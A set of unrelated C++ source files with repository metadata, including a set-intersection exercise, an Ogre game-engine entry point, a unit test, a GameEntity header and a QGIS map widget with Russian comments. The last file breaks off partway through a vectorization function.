dccbc03b4c9da0b0c3997a00a2143242d18f9f74
|
refs/heads/master
| 2020-05-17T03:29:47.124272
| 2019-08-09T17:49:32
| 2019-08-09T17:49:32
| 183,481,787
| 1
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,540
|
cpp
|
ex11.cpp
|
/*
Write a program that finds all the words that are in
common between two input files, using set_intersection( ).
Change it to show the words that are not in common,
using set_symmetric_difference( ).
*/
#include <iostream>
#include <algorithm>
#include <vector>
#include <fstream>
#include <cctype>
int main() {
std::ifstream file1("ex11_1.txt", std::ios::in);
std::ifstream file2("ex11_2.txt", std::ios::in);
std::vector<std::string> words1;
std::vector<std::string> words2;
std::string buf;
while (file1 >> buf)
words1.push_back(buf);
while (file2 >> buf)
words2.push_back(buf);
std::sort(words1.begin(), words1.end());
std::sort(words2.begin(), words2.end());
auto last = std::unique(words1.begin(), words1.end());
std::unique(words1.begin(), words1.end());
words1.erase(last, words1.end());
last = std::unique(words2.begin(), words2.end());
std::unique(words2.begin(), words2.end());
words2.erase(last, words2.end());
std::vector<std::string> intersection;
std::vector<std::string> difference;
std::set_intersection(words1.begin(), words1.end(),
words2.begin(), words2.end(),
std::back_inserter(intersection));
std::set_symmetric_difference(words1.begin(), words1.end(),
words2.begin(), words2.end(),
std::back_inserter(difference));
std::cout << "Intersection: ";
for (const auto& i : intersection)
std::cout << i << ' ';
std::cout << "\nDifference: ";
for (const auto& d : difference)
std::cout << d << ' ';
std::cout << std::endl;
return 0;
}
|
e67e3648804a8401183fada2736fba604bfe4032
|
46dbb7a842ba89ca1faac0a19e9b818656220fc9
|
/src_ref/main.cpp
|
8222ff5954619fc2fb0ca42c5acabd3f5937683e
|
[
"MIT"
] |
permissive
|
Joilnen/rge
|
8075a2403a22bc1bc9187bcc4f5a8cf74f0c3e0a
|
df20a68a9f86239d9801fcd77f2131e8977a594e
|
refs/heads/main
| 2023-07-02T05:54:22.019272
| 2021-01-24T16:23:45
| 2021-01-24T16:23:45
| 158,673,453
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 630
|
cpp
|
main.cpp
|
#include "ECS.h"
#include "GameNode.h"
#include <string>
#include "Actor.h"
#include <OGRE/Ogre.h>
#include "GameManager.h"
#include "SceneManager.h"
#include "RootGame.h"
using namespace Ogre;
int main()
{
auto world { World::createWorld() };
auto gameSystem { world->registerSystem(new GameManager) };
auto rootEntity { world->create() };
auto rootAssign { rootEntity->assign<RootGame>(new Ogre::Root) };
auto sceneManager { world->create() };
rootEntity->assign<SceneManagerEnt>(rootAssign->root->createSceneManager());
// ent->assign<GameNode>(root->createSceneManager());
return 0;
}
|
7bf658c035454b36951638c56cbd2be04b4f1fd4
|
2755461cf9bf0a49d85341aae1fd7571de54ce91
|
/clasificar-numeros/clasificar-numeros.cpp
|
d8c90dbe2265e749f8ac274deddf89f414eaa5f7
|
[] |
no_license
|
luxkalku/Algoritmos-y-estructuras-de-datos
|
c6e8bd2e48bdb32785347ed9f868b178d212f5ac
|
e82bf289c456cea64de1402edf88c2c16a89716e
|
refs/heads/master
| 2021-01-20T00:15:52.093469
| 2017-05-04T23:19:18
| 2017-05-04T23:19:18
| 89,103,485
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 448
|
cpp
|
clasificar-numeros.cpp
|
#include<iostream>
#include <stdlib.h>
using namespace std;
int main()
{
int n=0,cant_ceros=0,cant_positivos=0,cant_negativos=0;
for(int i = 0; i < 10; i++)
{
cout<<"ingrese un numero"<<endl;
cin>> n;
if(n==0)
cant_ceros++;
else
if(n>0)
cant_positivos++;
else
cant_negativos++;
}
cout<< "ceros: "<< cant_ceros<<endl<< "positivos: "<< cant_positivos<<endl<< "negativos: "<< cant_negativos;
return 0;
}
|
f6d5371eb60a023418773af7aa6bb7afa1a861f3
|
e70e76766f625695f5936d8e72583e6e26c56360
|
/TheMaze/User.cpp
|
54f0838a3b40d77809c56e492d879125d031d5a3
|
[] |
no_license
|
webbrandon/MazeGen
|
38176918cf600daf1d245548883353747eaca81e
|
0efaed418fa37754ba29390d817856177bb16e48
|
refs/heads/master
| 2021-01-17T10:23:51.181441
| 2012-08-23T13:01:13
| 2012-08-23T13:01:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 58
|
cpp
|
User.cpp
|
#include "User.h"
#include "Game.h"
User::User(void)
{
}
|
f1cf7459c8136205484d74e98fdb70df18f67f62
|
f76ae6e1f43680d192118514bc549e67a4ad04a0
|
/test/expression/variable/dot_unittest.cpp
|
c103169d8f2169516dd216e7ce8768e98ec9266f
|
[
"MIT"
] |
permissive
|
StHamish/autoppl
|
da5d6ec50f93e27c6cf60631edc3e480626b4276
|
e78f8d229d2e399f86f338e473da5ddc7dbed053
|
refs/heads/master
| 2022-12-17T00:29:54.216065
| 2020-09-13T20:07:16
| 2020-09-13T20:07:16
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,991
|
cpp
|
dot_unittest.cpp
|
#include "gtest/gtest.h"
#include <fastad>
#include <testutil/base_fixture.hpp>
#include <autoppl/expression/variable/dot.hpp>
namespace ppl {
namespace expr {
namespace var {
struct dot_fixture:
base_fixture<double>,
::testing::Test
{
protected:
using mv_dot_t = DotNode<mat_dv_t, vec_pv_t>;
size_t rows = 2;
size_t cols = 5;
Eigen::VectorXd pvalues;
mat_d_t mat;
vec_p_t vec;
mv_dot_t mv_dot;
dot_fixture()
: pvalues(cols)
, mat(rows, cols)
, vec(cols)
, mv_dot(mat, vec)
{
// initialize offset of w
offset_pack_t offset;
vec.activate(offset);
// initialize values for matrix and pvalues
auto& mat_raw = mat.get();
mat_raw.setZero();
mat_raw(0,0) = 3.14; mat_raw(0,1) = -0.1; mat_raw(0,3) = 13.24;
mat_raw(1,0) = -9.2; mat_raw(1,2) = 0.01; mat_raw(1,4) = 6.143;
pvalues(0) = 1;
pvalues(1) = -23;
pvalues(2) = 0;
pvalues(3) = 0.01;
pvalues(4) = 0;
ptr_pack.uc_val = pvalues.data();
mv_dot.bind(ptr_pack);
}
};
TEST_F(dot_fixture, type_check)
{
static_assert(util::is_var_expr_v<mv_dot_t>);
}
TEST_F(dot_fixture, mv_size)
{
EXPECT_EQ(mv_dot.size(), rows);
}
TEST_F(dot_fixture, get)
{
Eigen::MatrixXd actual = mat.get() * pvalues;
Eigen::MatrixXd res = mv_dot.eval();
for (size_t i = 0; i < mv_dot.rows(); ++i) {
for (size_t j = 0; j < mv_dot.cols(); ++j) {
EXPECT_DOUBLE_EQ(actual(i,j), res(i,j));
}
}
}
TEST_F(dot_fixture, to_ad)
{
auto expr = ad::bind(mv_dot.ad(ptr_pack));
Eigen::MatrixXd expr_val = ad::evaluate(expr);
Eigen::MatrixXd actual = mat.get() * pvalues;
for (size_t i = 0; i < mv_dot.rows(); ++i) {
for (size_t j = 0; j < mv_dot.cols(); ++j) {
EXPECT_DOUBLE_EQ(actual(i,j), expr_val(i,j));
}
}
}
} // namespace var
} // namespace expr
} // namespace ppl
|
46cb2297f51c5831c66b6f32dc29c1a1af7d9290
|
9df2486e5d0489f83cc7dcfb3ccc43374ab2500c
|
/src/overworld/world_sprite_manager.cpp
|
0917850ac7c17f96360b79c1d00baf3ae467b25e
|
[] |
no_license
|
renardchien/Eta-Chronicles
|
27ad4ffb68385ecaafae4f12b0db67c096f62ad1
|
d77d54184ec916baeb1ab7cc00ac44005d4f5624
|
refs/heads/master
| 2021-01-10T19:28:28.394781
| 2011-09-05T14:40:38
| 2011-09-05T14:40:38
| 1,914,623
| 1
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,732
|
cpp
|
world_sprite_manager.cpp
|
/***************************************************************************
* world_sprite_manager.cpp - World Sprite Manager
*
* Copyright (C) 2008 - 2009 Florian Richter
***************************************************************************/
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "../overworld/world_sprite_manager.h"
#include "../core/game_core.h"
namespace SMC
{
/* *** *** *** *** *** *** cWorld_Sprite_Manager *** *** *** *** *** *** *** *** *** *** *** */
cWorld_Sprite_Manager :: cWorld_Sprite_Manager( cOverworld *origin )
: cSprite_Manager( 500 )
{
n_origin = origin;
}
cWorld_Sprite_Manager :: ~cWorld_Sprite_Manager( void )
{
Delete_All();
}
void cWorld_Sprite_Manager :: Add( cSprite *sprite )
{
// empty sprite
if( !sprite )
{
return;
}
// no player range
sprite->m_player_range = 0;
// add
cSprite_Manager::Add( sprite );
// Add to Waypoints array
if( sprite->m_type == TYPE_OW_WAYPOINT )
{
n_origin->m_waypoints.push_back( static_cast<cWaypoint *>(sprite) );
}
// Add layer line point start to the world layer
else if( sprite->m_type == TYPE_OW_LINE_START )
{
n_origin->m_layer->Add( static_cast<cLayer_Line_Point_Start *>(sprite) );
}
}
/* *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** */
} // namespace SMC
|
9497a085c0365b8d63bcba26fc2b7e48f5d2b992
|
31063d113776e35dbd80d355dfd24ac7d7f8b451
|
/Practicas C++/Clases/Clase Amiga/main.cpp
|
0b45e29aa2cbf2e3aa07ccf6249dea4b1ca0783b
|
[] |
no_license
|
MezaMaximiliano/Practicas_Cplusplus
|
8550b3ae8ae1878d2926b86e196528b2c40818e6
|
0388684b4ad54e29fd20cb3e72d8447adc9b8c85
|
refs/heads/master
| 2023-07-24T19:06:46.133155
| 2021-09-07T22:07:51
| 2021-09-07T22:07:51
| 404,133,431
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 483
|
cpp
|
main.cpp
|
#include <iostream>
#include "Personaje.h"
int main(int argc, char** argv) {
Personaje *p1=new Personaje(50,60);
p1->mostrarDatos();
modificarDatos(*p1,100,150);
printf("\n");
p1->mostrarDatos();
return 0;
}
void modificarDatos(Personaje &p, int def, int ata){
p.ataque=ata;
p.defensa=def;
}
/*Al declarar la funcion para poder modifcar los atributos lo hicimos por referencia, entonces, cuando la funcion es llamada
debe hacer pasando el objeto como puntero*/
|
c033e0f750fd21e34896e3eb5a9d238fff386b14
|
7e03f557fc617ca09ce5ebd68c3f05b87866abdf
|
/DX11Starter/GameEntity.h
|
7fceaafbb769d0dd05dcbd7c93ac535ab853895e
|
[
"MIT"
] |
permissive
|
rimij405/ggp-directx-11
|
e00dc4587a3937bbb08a0f8b1217fd5e505e9bf5
|
0589f0853eed8a4c159afe2a40415849f259c815
|
refs/heads/master
| 2020-04-18T05:56:22.757980
| 2019-02-17T15:52:09
| 2019-02-17T15:52:09
| 167,298,331
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,853
|
h
|
GameEntity.h
|
#pragma once
// -----------------------------------------------
// Include statements.
// -----------------------------------------------
#include <memory>
#include <queue>
#include <vector>
#include <DirectXMath.h>
#include "Mesh.h"
#include "Transform.h"
#include "TransformBuffer.h"
#include "Material.h"
class GameEntity
{
public:
// -----------------------------------------------
// Internal typedef/enum statements.
// -----------------------------------------------
/// <summary>
/// Shared pointer reference to a mesh instance.
/// </summary>
typedef std::shared_ptr<Mesh> MeshReference;
/// <summary>
/// Unique pointer to a given GameEntity.
/// </summary>
typedef std::unique_ptr<GameEntity> GameEntityReference;
/// <summary>
/// Collection of unique GameEntity pointers.
/// </summary>
typedef std::vector<GameEntityReference> GameEntityCollection;
// -----------------------------------------------
// Friend methods.
// -----------------------------------------------
friend void swap(GameEntity& lhs, GameEntity& rhs);
// -----------------------------------------------
// Constructors.
// -----------------------------------------------
// Pointer to shared mesh.
GameEntity(Material& _material, MeshReference& sharedMesh);
// Initialize game entity with a starting position.
GameEntity(Material& _material, MeshReference& sharedMesh, float pX, float pY, float pZ);
// Initialize game entity with a starting position and scale.
GameEntity(Material& _material, MeshReference& sharedMesh,
float pX, float pY, float pZ,
float sX, float sY, float sZ);
// Initialize game entity with a starting position, scale, and rotation.
GameEntity(Material& _material, MeshReference& sharedMesh,
float pX, float pY, float pZ,
float sX, float sY, float sZ,
float rX, float rY, float rZ, float rW);
// Initialize game entity with existing Transform.
GameEntity(Material& _material, MeshReference& sharedMesh, const TRANSFORM t);
// Destructor.
~GameEntity();
// Copy/Move constructor/operator.
GameEntity(const GameEntity& other);
GameEntity(GameEntity&& other) noexcept;
GameEntity& operator=(GameEntity other);
// -----------------------------------------------
// Static methods.
// -----------------------------------------------
// ----------
// FACTORY METHODS
// Factory method to create a single entity.
static void CreateGameEntity(GameEntity& gameEntity, Material& material, MeshReference& sharedMesh);
// Create specified number of game entities and append them to an existing std::vector.
static void CreateGameEntities(GameEntityCollection& gameEntities, Material& material, MeshReference& sharedMesh, int count = 1);
// Return a transformation between a set of bounds.
static const float GetRandomFloat(); // Get random value between 0 to RAND_MAX.
static const float GetRandomFloat(float min, float max); // Get random value between min and max.
static const DirectX::XMFLOAT3 GetRandomTransform(); // 0 to RAND_MAX.
static const DirectX::XMFLOAT3 GetRandomTransform(float min, float max); // [Inclusive min, Exclusive max)
static const DirectX::XMFLOAT3 GetRandomTransform(DirectX::XMFLOAT3 min, DirectX::XMFLOAT3 max); // [Inclusive min, Exclusive max)
// -----------------------------------------------
// Accessors.
// -----------------------------------------------
// ----------
// TRANSFORM
const TRANSFORM GetTransform() const; // Creates a const containing a copy of the Entity's transform values.
void LoadTransform(TRANSFORM& target) const;
// ----------
// POSITION
const DirectX::XMFLOAT3 GetPosition() const;
void LoadPosition(DirectX::XMFLOAT3& target) const;
// ----------
// SCALE
const DirectX::XMFLOAT3 GetScale() const;
void LoadScale(DirectX::XMFLOAT3& target) const;
// ----------
// ROTATION
const DirectX::XMFLOAT4 GetRotation() const;
void LoadRotation(DirectX::XMFLOAT4& target) const;
// ----------
// WORLD MATRIX
const DirectX::XMFLOAT4X4 GetWorldMatrix() const;
void LoadWorldMatrix(DirectX::XMFLOAT4X4& target) const;
// ----------
// MESH
const MeshReference& GetMesh() const;
// ----------
// Material
const Material& GetMaterial() const;
// -----------------------------------------------
// Mutators.
// -----------------------------------------------
// ----------
// TRANSFORM
void SetTransform(const TRANSFORM& transformation); // Set the value of the internal transform object to the parameter.
// ----------
// Material
void SetColor(DirectX::XMFLOAT4 _surface);
void SetMaterial(Material& _material);
void PrepareMaterial(DirectX::XMFLOAT4X4& _view, DirectX::XMFLOAT4X4& _projection);
// -----------------------------------------------
// Service methods.
// -----------------------------------------------
// ----------
// UPDATE
void Update(float deltaTime, float totalTime);
void UpdatePosition(const DirectX::XMFLOAT3 request, TransformBuffer::TransformScope scope = TransformBuffer::S_RELATIVE);
void UpdateScale(const DirectX::XMFLOAT3 request, TransformBuffer::TransformScope scope = TransformBuffer::S_RELATIVE);
void UpdateRotation(const DirectX::XMFLOAT4 request, TransformBuffer::TransformScope scope = TransformBuffer::S_RELATIVE);
// ----------
// RELATIVE TRANSFORMATION
virtual void Move(float x, float y, float z);
virtual void Scale(float x, float y, float z);
virtual void Rotate(float pitchY, float yawX, float rollZ);
// ----------
// ABSOLUTE TRANSFORMATION
virtual void MoveTo(float x, float y, float z);
virtual void ScaleTo(float x, float y, float z);
virtual void RotateTo(float pitchY, float yawX, float rollZ);
// ----------
// WORLD MATRIX
void CalculateWorldMatrix(DirectX::XMFLOAT4X4& target) const;
protected:
// ----------
// Handle enqueued transformations.
virtual void HandleTransformations();
virtual void HandlePosition(const DirectX::XMFLOAT3& transformation, TransformBuffer::TransformScope scope = TransformBuffer::S_ABSOLUTE);
virtual void HandleScale(const DirectX::XMFLOAT3& transformation, TransformBuffer::TransformScope scope = TransformBuffer::S_ABSOLUTE);
virtual void HandleRotation(const DirectX::XMFLOAT4& transformation, TransformBuffer::TransformScope scope = TransformBuffer::S_ABSOLUTE);
private:
// -----------------------------------------------
// Data members.
// -----------------------------------------------
// Stores the shared mesh.
MeshReference sharedMesh;
// Enqueued transformation changes. Keeps requests in the order they're received.
TransformBuffer transformBuffer;
// Transformation storage.
TRANSFORM local;
// Material pointer.
Material* material;
// Create a surface color.
DirectX::XMFLOAT4 surfaceColor;
// -----------------------------------------------
// Mutators.
// -----------------------------------------------
// ----------
// POSITION
void SetPosition(const DirectX::XMFLOAT3& source);
void SetPosition(float x, float y, float z);
void SetPosition(_In_reads_(3) const float *data);
void SetPosition(const TRANSFORM& source);
// ----------
// SCALE
void SetScale(const DirectX::XMFLOAT3& source);
void SetScale(float x, float y, float z);
void SetScale(_In_reads_(3) const float *data);
void SetScale(const TRANSFORM& source);
// ----------
// ROTATION
void SetRotation(const DirectX::XMFLOAT4& source);
void SetRotation(float x, float y, float z, float w);
void SetRotation(_In_reads_(4) const float *data);
void SetRotation(const TRANSFORM& source);
void SetRotationRollPitchYaw(float pitchY, float yawX, float rollZ);
void SetRotationRollPitchYaw(_In_reads_(3) const float *data);
// -----------------------------------------------
// Helper methods.
// -----------------------------------------------
// Sets the default transformation values.
void CreateTransformations();
};
|
88ac582416846de0072c26acb024a66504abcff5
|
fe61487ee3f22acabae078eba9436553865a9427
|
/io_client/kksqgis/kksqgis26/kksgiswidgetbase.cpp
|
b155c8ee2fc962a5c8b7b91ea85c7adb8a4610de
|
[] |
no_license
|
YuriyRusinov/reper
|
f690da37a8dec55de0984b1573e8723fb7420390
|
ea3e061becee245212c1803ea4e5837509babcce
|
refs/heads/master
| 2021-01-17T06:51:53.153905
| 2017-02-21T15:48:58
| 2017-02-21T15:48:58
| 47,569,096
| 1
| 0
| null | null | null | null |
WINDOWS-1251
|
C++
| false
| false
| 24,134
|
cpp
|
kksgiswidgetbase.cpp
|
#include "kksgiswidgetbase.h"
#include "kksbadlayerhandler.h"
#include <QSplashScreen>
#include <QBitmap>
#include "qgsmaplayerregistry.h"
#include "qgsvectorfilewriter.h"
#include "qgsgeometry.h"
#include "qgsvectordataprovider.h"
#include "qgsmapcanvas.h"
#ifdef WIN32
#include "dn/dnspecbath.h"
#include "dn/Added/dnvector.h"
#endif
KKSGISWidgetBase::KKSGISWidgetBase(bool withSubWindows, bool withAddons, QWidget* parent, Qt::WFlags fl)
: QgisApp(KKSGISWidgetBase::initSplash(), true, parent, fl)
{
#ifdef WIN32
dnThemTaskSpecBath = NULL; //???
#endif
azWorkList.clear();
m_bWithSubwindows = withSubWindows; //надо ли создавать дополнительные окна (меню, тулбар, статусбыр и т.п.)
m_bWithAddons = withAddons;//надо ли создавать меню для тематической обработки (нет, если работаем в составе DynamicDocs)
m_bInit = false;
}
QSplashScreen * KKSGISWidgetBase::initSplash()
{
QSettings mySettings;
//ksa QString mySplashPath( QgsCustomization::instance()->splashPath() );
QString mySplashPath;
QPixmap myPixmap( mySplashPath + QString( "splash.png" ) );
QSplashScreen *mypSplash = new QSplashScreen( myPixmap );
bool myHideSplash = false;
if ( mySettings.value( "/qgis/hideSplash" ).toBool() || myHideSplash )
{
//splash screen hidden
}
else
{
//for win and linux we can just automask and png transparency areas will be used
mypSplash->setMask( myPixmap.mask() );
mypSplash->show();
}
return mypSplash;
}
/*
void KKSGISWidgetBase::initQGIS()
{
}
*/
KKSGISWidgetBase::~KKSGISWidgetBase()
{
if(!m_bInit)
return;//нечего удалять. Виджет не был инициализирован
//ksa delete mpMapLegendWidget; //в деструкторе класса KKSMapWidget этому виджету делается setParent(NULL), поэтому автоматически он не удаляется. Его надо удалить здесь явным образом
}
const QMap<QString, QMenu *> & KKSGISWidgetBase::menuMap()
{
return mpMenuMap;
}
const QMap<QString, QToolBar *> & KKSGISWidgetBase::toolBarMap()
{
if(mpToolBarMap.isEmpty()){
mpToolBarMap.insert("mFileToolBar", mFileToolBar);
mpToolBarMap.insert("mLayerToolBar", mLayerToolBar);
mpToolBarMap.insert("mDigitizeToolBar", mDigitizeToolBar);
mpToolBarMap.insert("mMapNavToolBar", mMapNavToolBar);
mpToolBarMap.insert("mAttributesToolBar", mAttributesToolBar);
}
return mpToolBarMap;
}
/*************************************/
/*
Здесь только методы, обеспечивающие работу пользователя с картой
Конструктор, деструктор, инициализационные и обеспечивающие методы находятся в файле kksgiswidgethelper.cpp
*/
/*
void KKSGISWidgetBase::azRemoveAllLayers()
{
QgsMapLayerRegistry::instance()->removeAllMapLayers();
//QgsMapLayerRegistry::instance()->clearAllLayerCaches();
}
*/
/*
bool KKSGISWidgetBase::azSelectLayer(const QString layerName)
{
bool bComplete(false);
// создадим резервную копию рабочего слоя
QgsMapLayer * pRezLayer;
pRezLayer = NULL;
if (mpSelectedLayer == NULL) // если он есть
{
pRezLayer = mpSelectedLayer;
}
QMapIterator < QString, QgsMapLayer * > i(this->mpRegistry->mapLayers());
while (i.hasNext())
{
i.next();
if (i.value()->name() == layerName)
{
mpSelectedLayer = i.value();
bComplete = true;
break;
}
}
if (pRezLayer != NULL)
{
if (!mpSelectedLayer->isValid() && pRezLayer->isValid()) // если mpSelectedLayer был замещен некорректным слоем
{
mpSelectedLayer = pRezLayer; // возвращаем значение слоя, который был
bComplete = false; // сообщаем, что выбор слоя неудачен
}
}
return bComplete;
}
bool KKSGISWidgetBase::azSelectLayer(const int layerNumber)
{
bool bComplete(false);
// создадим резервную копию рабочего слоя
if (layerNumber > mpRegistry->count())
{
return bComplete;
}
QgsMapLayer * pRezLayer;
pRezLayer = NULL;
if (mpSelectedLayer == NULL) // если он есть
{
pRezLayer = mpSelectedLayer;
}
int n(0); // инициируем счетчик
QMapIterator < QString, QgsMapLayer * > i(this->mpRegistry->mapLayers());
while (i.hasNext())
{
i.next();
n = n+1;
if (n == layerNumber)
{
mpSelectedLayer = i.value();
bComplete = true;
break;
}
}
if (pRezLayer != NULL)
{
if (!mpSelectedLayer->isValid() && pRezLayer->isValid()) // если mpSelectedLayer был замещен некорректным слоем
{
mpSelectedLayer = pRezLayer; // возвращаем значение слоя, который был
bComplete = false; // сообщаем, что выбор слоя неудачен
}
}
return bComplete;
}
*/
bool KKSGISWidgetBase::azRasterEnhancement(QgsRasterLayer & azRasterLayer)
{
// функция улучшения изображения
// цель: улучшить вид отображения снимка для человеческого восприятия
// (по идее должна определять тип снимка автоматически и
// подстраивать соответветствующие параметры)
bool bComplete(false); // инициализируем пременную для сигнализации об
// успешном улучшении
/*
--------------------
// способы отображения снимка:
pLayer->setDrawingStyle:
UndefinedDrawingStyle
SingleBandGray
SingleBandPseudoColor
PalettedColor
PalettedSingleBandGray
PalettedSingleBandPseudoColor
PalettedMultiBandColor - три цвета
MultiBandSingleGandGray
MultiBandSingleBandGray
MultiBandSingleBandPseudoColor
MultiBandColor
SingleBandColorDataStyle
---------------------------
// алгоритм цветопередачи:
pLayer->setColorShadingAlgorithm:
UndefinedShader
PseudoColorShader
FreakOutShader
ColorRampShader
UserDefinedShader
----------------------
*/
if (azRasterLayer.rasterType() == QgsRasterLayer::Multiband)
{
// azRasterLayer.setDrawingStyle(QgsRaster::MultiBandColor); // устанавливаем "3-х цветное изображение"
// пока делаю так: 3-х цветное изображение и каналы:
// 4 - красный; 3 - зеленый; 2 - синий.
if (azRasterLayer.bandCount() < 3)
{
// меньше 3-х каналов не улучшаем
}
else if (azRasterLayer.bandCount() == 3)
{
// по умолчанию если три то пусть идут в обратном
//ksa -- azRasterLayer.setRedBandName(azRasterLayer.bandName(3));
//ksa -- azRasterLayer.setGreenBandName(azRasterLayer.bandName(2));
//ksa -- azRasterLayer.setBlueBandName(azRasterLayer.bandName(1));
bComplete = true;
}
else
{
// pRast.BlueBand
// проверяем название каждого канала
if (azRasterCheckBandName(azRasterLayer, "Band 4"))
{
// azRasterLayer.set("Band 4"); // есть - добавляем
}
if (azRasterCheckBandName(azRasterLayer, "Band 3"))
{
// azRasterLayer.setRedBandName("Band 3");
}
if (azRasterCheckBandName(azRasterLayer, "Band 2"))
{
// azRasterLayer.setRedBandName("Band 2");
}
//ksa -- azRasterLayer.setBlueBandName("Band 2");
bComplete = true;
}
// azRasterLayer.setStandardDeviations(2.5); // для рястяжки по гистограмме яркости
// исп. среднее квадратичное отклонение 2.5
}
else if (azRasterLayer.rasterType() == QgsRasterLayer::Palette)
{
return bComplete;
}
else // QgsRasterLayer::GrayOrUndefined
{
return bComplete;
}
return false;
}
bool KKSGISWidgetBase::azRasterCheckBandName(QgsRasterLayer &azRasterLayer, QString strBandName)
{
bool bComplete(false);
for (int i = 0; azRasterLayer.bandCount(); i++)
{
if (azRasterLayer.bandName(i) == strBandName)
{
bComplete = true;
break;
}
}
return bComplete;
}
bool KKSGISWidgetBase::azCopyFiles(QString azSource, QString azDestPath, bool bUse)
{
bool bComplete(false);
QFileInfo pFileInfo(azSource);
if (!pFileInfo.isFile())
{
return bComplete;
}
if (azDestPath.length()<2) return bComplete;
bComplete = QFile::copy(azSource, azDestPath);
return bComplete;
}
/*
bool KKSGISWidgetBase::azMakeLayer(QGis::WkbType azType, QString pDestDir, QString pName)
{
bool bComplete(false);
QString pAddName("");
QStringList pExpList;
pExpList << ".dbf" << ".prj" << ".qpj" << ".shp" << ".shx";
if (azType == QGis::WKBPoint)
{
pAddName = "shps/ex_point";
}
else if (azType == QGis::WKBLineString)
{
pAddName ="shps/ex_line";
}
else if (azType == QGis::WKBPolygon)
{
pAddName = "shps/ex_poly";
}
else
{
return false;
}
bComplete = true;
foreach (const QString &pExp, pExpList)
{
if (!azCopyFiles(mpAppPath + pAddName + pExp, pDestDir + pName + pExp))
{
// QDebug("Файл не скопирован в" + pDestDir.toAscii() + pName.toAscii() + pExp.toAscii());
bComplete = false;
}
}
return bComplete;
}
*/
/*
bool KKSGISWidgetBase::azAddLayerVector(QFileInfo pFile)
{
QString myProviderName = "ogr";
QgsVectorLayer * mypLayer = new QgsVectorLayer(pFile.filePath(), pFile.completeBaseName(), myProviderName);
QgsSymbolV2 * s = QgsSymbolV2::defaultSymbol(mypLayer->geometryType());
QgsSingleSymbolRendererV2 *mypRenderer = new QgsSingleSymbolRendererV2(s);//(mypLayer->geometryType());
// QgsSingleSymbolRenderer *mypRenderer = new QgsSingleSymbolRenderer(mypLayer->geometryType());
mypLayer->setRendererV2(mypRenderer);
if (!mypLayer->isValid())
{
// QDebug("Слой некорректный '" + pFile.filePath().toAscii() + "'");
return false;
}
// Add the Vector Layer to the Layer Registry
mpRegistry->addMapLayer(mypLayer, TRUE);
connect(mypLayer, SIGNAL(dataChanged()), this, SIGNAL(dataChanged()));
// Add the Layer to the Layer Set
//ksa mpLayerSet.append(QgsMapCanvasLayer(mypLayer));
// set the canvas to the extent of our layer
mpMapCanvas->setExtent(mypLayer->extent());
// Set the Map Canvas Layer Set
//ksa mpMapCanvas->setLayerSet(mpLayerSet);
// update UI
qApp->processEvents();
mpMapCanvas->refresh();
return true;
}
*/
void KKSGISWidgetBase::SLOTmpActionVectorize()
{
this->azVectorize();
this->azAddWorkListToMap(azWorkList);
}
void KKSGISWidgetBase::azAddWorkListToMap(QStringList &pList)
{
long i(0);
QString pMessage("");
foreach (const QString &pString, pList)
{
QFileInfo pFile(pString);
if (pFile.isFile())
{
if (openLayer(pString))
{
i = i + 1;
pMessage = "Добавлен слой '" + pFile.baseName() + "'";
messageBar()->pushMessage( pMessage, pMessage, QgsMessageBar::CRITICAL, messageTimeout() );
}
}
}
if (i > 1)
{
pMessage = "Добавлено " + QString::number(i )+ "слоя(ев)";
messageBar()->pushMessage( pMessage, pMessage, QgsMessageBar::CRITICAL, messageTimeout() );
}
}
void KKSGISWidgetBase::azVectorize()
{
#ifdef WIN32
dnThemTaskSpecBath->close();
QString pMessage(""); // сообщение в статус баре о результате векторизации
if (this->dnThemTaskSpecBath->Polygons.count() < 1)
{
pMessage = tr("Выбранные объекты не содержат информации для векторизации");
messageBar()->pushMessage( pMessage, pMessage, QgsMessageBar::CRITICAL, messageTimeout() );
return;
}
QString mEncoding; // кодировка
mEncoding = "UTF-8";
QgsFields mFields; // набор полей
QgsField myField1("value", QVariant::Double, "Double", 0, 0);
QgsField myField2( "comment", QVariant::String, "String", 10, 0, "Comment" );
mFields.append( myField1 );
mFields.append( myField2 );
QgsCoordinateReferenceSystem pSRS;
// создаем систему координат идентичную растру
pSRS.createFromOgcWmsCrs("EPSG:" +
QString::number(azGetEPSG(dnThemTaskSpecBath->Polygons.at(0).EPSG)));
pSRS.validate();
QString myFileName (dnThemTaskSpecBath->Polygons.at(0).NameLayer +
QString::number(QTime::currentTime().hour()) + "-" +
QString::number(QTime::currentTime().minute()) + "-" +
QString::number(QTime::currentTime().second()) + "-" +
QString::number(QTime::currentTime().msec()) + ".shp");
QgsVectorFileWriter myWriter( myFileName, mEncoding, mFields, QGis::WKBPolygon, &pSRS);
azWorkList.clear();
azWorkList.append(myFileName);
for (int i = 0; i < dnThemTaskSpecBath->Polygons.size(); i++)
{
DNVector dnVec;
dnVec = dnThemTaskSpecBath->Polygons.at(i);
QgsPolyline pPolyLine;
QgsPoint pFirstPoint (dnVec.GPt.at(0).x, dnVec.GPt.at(0).y);
for (int j = 0; j < dnVec.GPt.size(); j++)
{
QgsPoint p(dnVec.GPt.at(j).x, dnVec.GPt.at(j).y);
pPolyLine << p;
}
pPolyLine << pFirstPoint;
QgsPolygon pPolygon;
pPolygon << pPolyLine;
QgsGeometry * pPolygonGeometry = QgsGeometry::fromPolygon( pPolygon );
QgsFeature pFeature;
// pFeature.setTypeName( "WKBPolygon" );
pFeature.setGeometry( pPolygonGeometry );
pFeature.initAttributes(2);
pFeature.setAttribute(1, "deep" );
pFeature.setAttribute(0,(double)dnVec.Vol);
// pFeature.setAttribute("comment", "deep" );
// pFeature.setAttribute("value",(double)dnVec.Vol);
QgsVectorFileWriter::WriterError mError;
myWriter.addFeature( pFeature );
mError = myWriter.hasError();
if (mError != 0)
{
qWarning() << myWriter.errorMessage();
}
}
delete dnThemTaskSpecBath;
